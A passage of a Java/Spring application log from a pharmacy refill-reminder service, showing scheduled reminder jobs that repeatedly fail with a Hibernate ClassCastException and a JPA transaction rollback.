org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 22:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 22:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 22:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 22:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 22:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 22:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 22:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 22:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 22:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 22:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 22:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 22:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 22:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 22:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 22:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 22:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 22:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 22:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 22:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 22:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 22:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 22:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 22:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 22:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 22:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 22:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 22:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 22:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 22:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at 